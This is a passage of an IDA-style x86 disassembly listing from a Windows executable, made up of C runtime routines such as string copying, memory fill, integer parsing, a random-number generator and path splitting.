		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx

loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3

loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD

loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7

loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------

loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681

loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642

loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635

loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664

loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652

loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7

loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi

loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi

loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630

loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1

loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax

loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9

loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B

loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C534, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------

loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738

loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx

loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C534, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------

loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------

loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax

loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A2CC
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748

loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2F0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		call	near ptr 2700000h
		nop
		push	eax
		nop
		call	near ptr 26F0A14h

loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2EC, edi
		mov	byte_4DB2E8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC95C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC958
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832

loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax

loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC95C
		jnb	short loc_41B81F

loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi

loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx

loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2F0, edi
		nop
		call	near ptr 77E75CB5h

loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax

loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------

loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------

loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A2B0, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A2B0
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A2B0, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967

loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934

loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi

loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929

loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]

loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------

loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------

loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------

loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0

loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E

loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC821[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi

loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------

loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0

loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi

loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax

loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------

loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax

loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0

loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40

loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C

loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------

loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]

loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------

loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx

loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C

loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0

loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi

loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C534, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------

loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------

loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------

loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E

loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx

loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82

loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C534, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------

loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------

loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C534, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------

loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C328
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18

